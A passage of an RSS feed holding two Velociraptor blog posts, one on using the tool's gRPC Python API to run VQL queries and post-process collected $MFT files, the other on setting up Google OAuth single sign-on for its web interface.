development.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>The Velociraptor Python API</title>
      <link>https://www.velociraptor-docs.org/blog/html/2019/02/09/velociraptor_python_api/</link>
      <pubDate>Sat, 09 Feb 2019 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2019/02/09/velociraptor_python_api/</guid>
      <description>&#xA;&lt;div class=&#34;mynotices warning&#34;&gt;&#xA;  &lt;div heading=&#34;warning&#34;&gt;&lt;p&gt;The Python bindings described in this page have now moved to &lt;a href=&#34;https://github.com/Velocidex/pyvelociraptor/&#34; target=&#34;_blank&#34; &gt;https://github.com/Velocidex/pyvelociraptor/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;Velociraptor is very good at collecting artifacts from endpoints.&#xA;However, in modern DFIR work, the actual collection is only the first&#xA;step of a much more involved process. Typically we want to post process&#xA;data using more advanced data mining tools (such as data stacking).&#xA;Velociraptor usually is only a part of a wider solution which might&#xA;include a SIEM and SOC integration.&lt;/p&gt;&#xA;&lt;p&gt;In order to facilitate interoperability with other tools, Velociraptor&#xA;now offers an external API. The API is offered via gRPC so it can be&#xA;used in any language which gRPC supports (e.g. Java, C++, Python etc).&#xA;In this blog post we illustrate the Python API but any language should&#xA;work.&lt;/p&gt;&#xA;&lt;h1 id=&#34;the-velociraptor-api-server&#34;&gt;The Velociraptor API Server&lt;/h1&gt;&#xA;&lt;p&gt;The API server exposes an endpoint ready to accept gRPC connections. By&#xA;default the API server listen only on the loopback interface (127.0.0.1)&#xA;but it is easy to change to be externally accessible if you need by&#xA;changing the server.config.yaml file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;API:&#xA;  bind_address: 127.0.0.1&#xA;  bind_port: 8001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Client programs simply connect directly to this API and call gRPC&#xA;methods on it.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2019/02/09/velociraptor_python_api//blog/html/2019/02/09/velociraptor_python_api/api_diagram.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;673&#34; height=&#34;707&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;api_diagram.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The connection is encrypted using TLS and authenticated using mutual&#xA;certificates. When we initially created the Velociraptor configuration&#xA;file, we created a CA certificate and embedded it in the&#xA;server.config.yaml file. It is this CA certificate which is used to&#xA;verify that the certificate each end presents was issued by the&#xA;Velociraptor CA.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;If you need to have extra security in your environment you should keep&#xA;the original server.config.yaml file generated in an offline location,&#xA;then deploy a redacted file (without the CA.private_key value) on the&#xA;server. This way api client certificates can only be issued offline.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;Before the client may connect to the API server they must have a&#xA;certificate issued by the Velociraptor CA. This is easy to generate:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ velociraptor --config server.config.yaml \&#xA;     config api_client --name Fred &amp;gt; api_client.yaml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Will generate something like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;ca_certificate: |&#xA;  -----BEGIN CERTIFICATE-----&#xA;  MIIDITCCAgmgAwIBAgIRAI1oswXLBFqWVSYZx1VibMkwDQYJKoZIhvcNAQELBQAw&#xA;  -----END CERTIFICATE-----&#xA;client_cert: |&#xA;  -----BEGIN CERTIFICATE-----&#xA;  2e1ftQuzHGD2XPquqfuVzL1rtEIA1tiC82L6smYbeOe0p4pqpsHN1sEDkdfhBA==&#xA;  -----END CERTIFICATE-----&#xA;client_private_key: |&#xA;  -----BEGIN RSA PRIVATE KEY-----&#xA;  sVr9HvR2kBzM/3yVwvb752h0qDOYDfzLRENjA7dySeOgLtBSvd2gRg==&#xA;  -----END RSA PRIVATE KEY-----&#xA;api_connection_string: 127.0.0.1:8001&#xA;name: Fred&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The certificate generated has a common name as specified by the --name&#xA;flag. This name will be logged in the server&#39;s audit logs so you can&#xA;use this to keep track of which programs have access. This file keeps&#xA;both private key and certificate as well as the CA certificate which&#xA;must be used to authenticate the server in a single file for&#xA;convenience.&lt;/p&gt;&#xA;&lt;h1 id=&#34;using-the-api-from-python&#34;&gt;Using the API from Python&lt;/h1&gt;&#xA;&lt;p&gt;Although the API exposes a bunch of functions used by the GUI, the main&#xA;function (which is not exposed through the GUI) is the Query() method.&#xA;This function simply executes one or more VQL queries, and streams their&#xA;results back to the caller.&lt;/p&gt;&#xA;&lt;p&gt;The function requires an argument which is a protobuf of type&#xA;VQLCollectorArgs:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;VQLCollectorArgs:&#xA;     env:  list of VQLEnv(string key, string value)&#xA;     Query: list of VQLRequest(string Name, string VQL)&#xA;     max_row: int&#xA;     max_wait: int&#xA;     ops_per_second: float&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This very simple structure allows the caller to specify one or more VQL&#xA;queries to run. The call can set up environment variables prior to the&#xA;query execution. The max_row and max_wait parameters indicate how many&#xA;rows to return in a single result set and how long to wait for&#xA;additional rows before returning a result set.&lt;/p&gt;&#xA;&lt;p&gt;The call simply executes the VQL queries and returns result sets as&#xA;VQLResponse protobufs:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;VQLResponse:&#xA;   Response: json encoded string&#xA;   Columns: list of string&#xA;   total_rows: total number of rows in this packet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The VQL query may return many responses - each represents a set of rows.&#xA;These responses may be returned over a long time, the API call will&#xA;simply wait until new responses are available. For example, the VQL may&#xA;represent an event query - i.e. watch for the occurrence of some event&#xA;in the system - in this case it will never actually terminate, but keep&#xA;streaming response packets.&lt;/p&gt;&#xA;&lt;h1 id=&#34;how-does-this-look-like-in-code&#34;&gt;How does this look like in code?&lt;/h1&gt;&#xA;&lt;p&gt;The following will cover an example implementation in python. The first&#xA;step is to prepare credentials for making the gRPC call. We parse the&#xA;api_config yaml file and prepare a credential object:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;config = yaml.load(open(&amp;quot;api_client.yaml&amp;quot;).read())&#xA;creds = grpc.ssl_channel_credentials(&#xA;     root_certificates=config[&amp;quot;ca_certificate&amp;quot;].encode(&amp;quot;utf8&amp;quot;),&#xA;     private_key=config[&amp;quot;client_private_key&amp;quot;].encode(&amp;quot;utf8&amp;quot;),&#xA;     certificate_chain=config[&amp;quot;client_cert&amp;quot;].encode(&amp;quot;utf8&amp;quot;))&#xA;&#xA;options = ((&#39;grpc.ssl_target_name_override&#39;, &amp;quot;VelociraptorServer&amp;quot;,),)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Next we connect the channel to the API server:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;with grpc.secure_channel(config[&amp;quot;api_connection_string&amp;quot;],&#xA;                         creds, options) as channel:&#xA;    stub = api_pb2_grpc.APIStub(channel)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The stub is the object we use to make calls with. We can then issue our&#xA;call:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;request = api_pb2.VQLCollectorArgs(&#xA;         Query=[api_pb2.VQLRequest(&#xA;             VQL=query,&#xA;         )])&#xA;&#xA;for response in stub.Query(request):&#xA;    rows = json.loads(response.Response)&#xA;    for row in rows:&#xA;        print(row)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We issue the query and then just wait for the call to generate response&#xA;packets. Each packet may contain several rows which will all be encoded&#xA;as JSON in the Response field. Each row is simply a dict with keys being&#xA;the column names, and the values being possibly nested dicts or simple&#xA;data depending on the query.&lt;/p&gt;&#xA;&lt;h1 id=&#34;what-can-we-do-with-this&#34;&gt;What can we do with this?&lt;/h1&gt;&#xA;&lt;p&gt;The Velociraptor API is deliberately open ended - meaning we do not pose&#xA;any limitations on what can be done with it. It is conceptually a very&#xA;simple API - just issue the query and look at the results, however this&#xA;makes it extremely powerful.&lt;/p&gt;&#xA;&lt;p&gt;We already have a number of very useful server side VQL plugins you can&#xA;use. We also plan to add a number of other plugins in future -this means&#xA;that the Velociraptor API can easily be extended in a backwards&#xA;compatible way by simply adding new VQL plugins. New queries can do&#xA;more, without breaking existing queries.&lt;/p&gt;&#xA;&lt;h2 id=&#34;post-process-artifacts&#34;&gt;Post process artifacts&lt;/h2&gt;&#xA;&lt;p&gt;This is the most common use case for the API. Velociraptor deliberately&#xA;does not do any post processing on the server - we don&#39;t want to slow&#xA;the server down by making it do more work than necessary.&lt;/p&gt;&#xA;&lt;p&gt;But sometimes users need to do some more with the results - for example&#xA;upload to an external system, check hashes against Virus Total, and even&#xA;initiate an active response like escalation or disruption when something&#xA;is detected.&lt;/p&gt;&#xA;&lt;p&gt;In a recent engagement we needed to collect a large number of $MFT&#xA;files from many endpoints. We wanted to analyze these using external&#xA;tools like &lt;code&gt;analyseMFT.py&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;We wrote a simple artifact to collect the MFT:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;name: Windows.Upload.MFT&#xA;description: |&#xA;   Uses an NTFS accessor to pull the $MFT&#xA;&#xA;parameters:&#xA;  - name: path&#xA;    default: \\.\C:\$MFT&#xA;&#xA;sources:&#xA;  - precondition:&#xA;      SELECT OS From info() where OS = &#39;windows&#39;&#xA;&#xA;    queries:&#xA;    - select upload(file=path, accessor=&amp;quot;ntfs&amp;quot;) as Upload from scope()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;We then created a hunt to collect this artifact from the machines of&#xA;interest. Once each $MFT file is uploaded we need to run &lt;code&gt;analyseMFT.py&lt;/code&gt;&#xA;to parse it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;QUERY=&amp;quot;&amp;quot;&amp;quot;&#xA;  SELECT Flow,&#xA;         file_store(path=Flow.FlowContext.uploaded_files) as Files&#xA;  FROM  watch_monitoring(artifact=&#39;System.Flow.Completion&#39;)&#xA;  WHERE &#39;Windows.Upload.MFT&#39; in Flow.FlowContext.artifacts&#xA;&amp;quot;&amp;quot;&amp;quot;&#xA;&#xA;with grpc.secure_channel(config[&amp;quot;api_connection_string&amp;quot;],&#xA;                         creds, options) as channel:&#xA;    stub = api_pb2_grpc.APIStub(channel)&#xA;    request = api_pb2.VQLCollectorArgs(&#xA;        Query=[api_pb2.VQLRequest(&#xA;            VQL=QUERY,&#xA;        )])&#xA;&#xA;    for response in stub.Query(request):&#xA;        rows = json.loads(response.Response)&#xA;        for row in rows:&#xA;            for file_name in row[&amp;quot;Files&amp;quot;]:&#xA;                 subprocess.check_call(&#xA;                    [&amp;quot;analyseMFT.py&amp;quot;, &amp;quot;-f&amp;quot;, file_name,&#xA;                     &amp;quot;-o&amp;quot;, file_name+&amp;quot;.analyzed&amp;quot;])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The previous code sets up a watcher query which will receive every&#xA;completed flow on the server which collected the artifact&#xA;&amp;quot;Windows.Upload.MFT&amp;quot; (i.e. each completed flow will appear as a row to&#xA;the query).&lt;/p&gt;&#xA;&lt;p&gt;We can have this program running in the background. We can then launch a&#xA;hunt collecting the artifact, and the program will automatically process&#xA;all the results from the hunt as soon as they occur. When new machines&#xA;are turned on they will receive the hunt, have their $MFT collected and&#xA;this program will immediately process that.&lt;/p&gt;&#xA;&lt;p&gt;Each flow contains a list of files that were uploaded to it. The&#xA;file_store() VQL function reveals the server&#39;s filesystem path where&#xA;the files actually reside. The server simply stores the uploaded files&#xA;on its filesystem since Velociraptor does not use a database (everything&#xA;is a file!).&lt;/p&gt;&#xA;&lt;p&gt;The python code then proceeds to launch the &lt;code&gt;analyseMFT.py&lt;/code&gt; script to&#xA;parse the $MFT.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;The nice thing with this scheme is that the &lt;code&gt;analyseMFT.py&lt;/code&gt; is running in&#xA;its own process and can be managed separately to the main Velociraptor&#xA;server (e.g. we can set its execution priority or even run it on a&#xA;separate machine). The Velociraptor server does not actually need to&#xA;wait for post processing nor will the post processing affect its&#xA;performance in any way. If the &lt;code&gt;analyseMFT.py&lt;/code&gt; script takes a long time,&#xA;it will just fall behind but it eventually will catch up. In the&#xA;meantime, the Velociraptor server will continue receiving the uploads&#xA;regardless.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;The above example sets up a watcher query to receive flow results in&#xA;real time, but you can also just process the results of a specific hunt&#xA;completely using a query like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;SELECT Flow, file_store(path=Flow.FlowContext.uploaded_files) as Files&#xA;FROM hunt_flows(hunt_id=huntId)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h1 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h1&gt;&#xA;&lt;p&gt;The Velociraptor python API opens up enormous possibilities for&#xA;automating Velociraptor and interfacing it with other systems. Combining&#xA;the power of VQL and the flexibility (and user familiarity) of Python&#xA;allows users to build upon Velociraptor in a flexible and creative way.&#xA;I am very excited to see what the community will do with this feature -&#xA;I can see integration with ELK, BigQuery and other data analytic engines&#xA;being a valuable use case.&lt;/p&gt;&#xA;&lt;p&gt;Please share your experiences in the comments or on the mailing list at&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@groups.google.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@groups.google.com&lt;/a&gt;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Deploying Velociraptor with OAuth SSO</title>
      <link>https://www.velociraptor-docs.org/blog/html/2018/12/23/deploying_velociraptor_with_oauth_sso/</link>
      <pubDate>Sun, 23 Dec 2018 04:10:06 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/html/2018/12/23/deploying_velociraptor_with_oauth_sso/</guid>
      <description>&lt;p&gt;In the previous post we saw how to set up Velociraptor&#39;s GUI over SSL.&#xA;This is great, but we still need to create users and assign them&#xA;passwords manually. The trouble with user account management is that we&#xA;can not enforce 2 factor authentication, or any password policies or any&#xA;of the usual enterprise requirements for user account management. It is&#xA;also difficult for users to remember yet another password for a separate&#xA;system, and so might make the password easily guessable.&lt;/p&gt;&#xA;&lt;p&gt;Most enterprise systems require an SSO mechanism to manage user accounts&#xA;and passwords. Manual user account management simply does not scale!&lt;/p&gt;&#xA;&lt;p&gt;In this post we discuss how to enable Google&#39;s SSO authentication for&#xA;Velociraptor identity management.&lt;/p&gt;&#xA;&lt;h1 id=&#34;oauth-identity-management&#34;&gt;OAuth Identity management&lt;/h1&gt;&#xA;&lt;p&gt;Velociraptor can use Google&#39;s oauth mechanism to verify a user&#39;s&#xA;identity. This requires a user to authenticate to Google via their usual&#xA;mechanism - if their account requires 2 factor authentication, then&#xA;users need to log in this way.&lt;/p&gt;&#xA;&lt;p&gt;Once the user authenticates to Google, they are redirected back into the&#xA;Velociraptor application with a token that allows the application to&#xA;request information about the user (for example, the username or email&#xA;address).&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;OAuth is an authentication protocol. This means Velociraptor can be&#xA;pretty confident the user is who they claim they are. This does not&#xA;automatically grant them access to the application! A Velociraptor&#xA;administrator must still manually grant them access before a user may&#xA;log in.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;Before we can use Google for Authentication, we need to register our&#xA;Velociraptor deployment as an OAuth App with Google. Unfortunately&#xA;Google is not known for having intuitive and easy to follow processes so&#xA;actually doing this is complicated and bounces through many seemingly&#xA;unrelated Google products and services. This post attempts to document&#xA;this process at it exists in this time.&lt;/p&gt;&#xA;&lt;p&gt;For our example we assume that our server is located at&#xA;&lt;a href=&#34;https://velociraptor.rekall-innovations.com&#34; target=&#34;_blank&#34; &gt;https://velociraptor.rekall-innovations.com&lt;/a&gt; as we continue on from our&#xA;example in the last post (i.e. it is already configured to use SSL).&lt;/p&gt;&#xA;&lt;h1 id=&#34;registering-velociraptor-as-an-oauth-application&#34;&gt;Registering Velociraptor as an OAuth application&lt;/h1&gt;&#xA;&lt;p&gt;The first step is to register Velociraptor as an OAuth app. We do this&#xA;by accessing the Google cloud console at&#xA;&lt;a href=&#34;https://console.cloud.google.com&#34; target=&#34;_blank&#34; &gt;https://console.cloud.google.com&lt;/a&gt; . You will need to set up a cloud&#xA;account first and create a cloud project. Although in this example we do&#xA;not necessarily need to host our application on Google cloud or have&#xA;anything to do with Google cloud, OAuth seems to exist within the Google&#xA;cloud product.&lt;/p&gt;&#xA;&lt;p&gt;Our ultimate goal is to obtain OAuth credentials to give our&#xA;Velociraptor app, but we have to have a few things set up first. The&#xA;cloud console is fairly confusing so I usually use the search feature to&#xA;find exactly what I need. Searching for &amp;quot;oauth&amp;quot; at the search bar&#xA;indicates that it is under &amp;quot;APIs and Services&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;We need to set up the OAuth consent screen first - in which we give our&#xA;application a name to be presented to the user by the OAuth flow:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/12/23/deploying_velociraptor_with_oauth_sso//blog/html/2018/12/23/deploying_velociraptor_with_oauth_sso/1.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;740&#34; height=&#34;615&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;1.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Further down we need to provide an authorized domain&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/12/23/deploying_velociraptor_with_oauth_sso//blog/html/2018/12/23/deploying_velociraptor_with_oauth_sso/2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;603&#34; height=&#34;210&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In order to add an Authorized domain we need to &lt;em&gt;verify it&lt;/em&gt;. Google&#39;s&#xA;help pages explain it further:&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34; Authorized domains &#34;&gt;&lt;p&gt;To protect you and your users, Google restricts your OAuth 2.0&#xA;application to using Authorized Domains. If you have verified the domain&#xA;with Google, you can use any Top Private Domain as an Authorized Domain.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;And this links to &lt;a href=&#34;https://www.google.com/webmasters/tools/home&#34; target=&#34;_blank&#34; &gt;https://www.google.com/webmasters/tools/home&lt;/a&gt; which&#xA;again seems completely unrelated to OAuth, Velociraptor or even a web&#xA;app (the web masters product is supposed to help sites increase their&#xA;search presence).&lt;/p&gt;&#xA;&lt;p&gt;Within this product we now need to &amp;quot;Add a property&amp;quot;:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/12/23/deploying_velociraptor_with_oauth_sso//blog/html/2018/12/23/deploying_velociraptor_with_oauth_sso/3.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;806&#34; height=&#34;309&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;3.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Hidden within the settings menu there is an option &amp;quot;Verification&#xA;Details&amp;quot; which allows you to verify that you own the domain. If you&#xA;purchased your domain from Google Domains then it should already be&#xA;verified - otherwise you can set some TXT records to prove you own the&#xA;domain.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/12/23/deploying_velociraptor_with_oauth_sso//blog/html/2018/12/23/deploying_velociraptor_with_oauth_sso/4.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;408&#34; height=&#34;282&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;4.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;After all this we can go back to the cloud console and Create&#xA;Credentials/OAuth client ID:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/12/23/deploying_velociraptor_with_oauth_sso//blog/html/2018/12/23/deploying_velociraptor_with_oauth_sso/5.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;466&#34; height=&#34;352&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;5.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Now select &amp;quot;Web App&amp;quot; and we must set the &amp;quot;Authorized redirect URIs&amp;quot;&#xA;to &lt;a href=&#34;https://velociraptor.rekall-innovations.com/auth/google/callback&#34; target=&#34;_blank&#34; &gt;https://velociraptor.rekall-innovations.com/auth/google/callback&lt;/a&gt;&#xA;-This is the URL that successful OAuth authentication will direct to.&#xA;Velociraptor accepts this redirect and uses it to log the user on.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/html/2018/12/23/deploying_velociraptor_with_oauth_sso//blog/html/2018/12/23/deploying_velociraptor_with_oauth_sso/6.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34;&#xA;         width=&#34;637&#34; height=&#34;727&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;6.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34;note&#34;&gt;&lt;p&gt;The UI is a bit confusing here - you must press enter after typing the&#xA;redirect URL to have it registered &lt;strong&gt;before&lt;/strong&gt; you hit &lt;em&gt;Create&lt;/em&gt; otherwise&#xA;it misses that you typed it completely. I spent some time stumped on&#xA;this UI bug.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;If all goes well the Google cloud console will give us a client ID and a&#xA;client secret. We can then copy those into the Velociraptor&#xA;configuration file under the GUI section:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;GUI:&#xA;  google_oauth_client_id: 1234xxxxxx.apps.googleusercontent.com&#xA;  google_oauth_client_secret: qsadlkjhdaslkjasd&#xA;  public_url: https://velociraptor.rekall-innovations.com/&#xA;&#xA;logging:&#xA;  output_directory: /var/log/velociraptor/&#xA;  separate_logs_per_component: true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the above config we also enabled logging (which is important for a&#xA;secure application!). The separate_logs_per_component option will&#xA;create a separate log file for the GUI, Frontend as well as important&#xA;Audit related events.&lt;/p&gt;&#xA;&lt;p&gt;Now we can start the Velociraptor frontend:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;$ velociraptor --config server.config.yaml frontend&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Connecting using the browser goes through the familiar OAuth flow and&#xA;arrives at this Velociraptor screen:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;img class=&#34;inline&#34;&#xA;     src=&#34;https://www.velociraptor-docs.org/blog/html/2018/12/23/deploying_velociraptor_with_oauth_sso/7.png&#34;&#xA;     width=&#34;815&#34;&#xA;     height=&#34;151&#34;/&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The OAuth flow ensures the user&#39;s identity is correct but does not give&#xA;them permission to log into Velociraptor. Note that having an OAuth&#xA;enabled application on the web allows anyone with a Google identity to&#xA;authenticate to the application but the user is still required to be&#xA;authorized. We can see the following in the Audit logs:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-{.sourceCode&#34;&gt;{&#xA;  &amp;quot;level&amp;quot;: &amp;quot;error&amp;quot;,&#xA;  &amp;quot;method&amp;quot;: &amp;quot;GET&amp;quot;,&#xA;  &amp;quot;msg&amp;quot;: &amp;quot;User rejected by GUI&amp;quot;,&#xA;  &amp;quot;remote&amp;quot;: 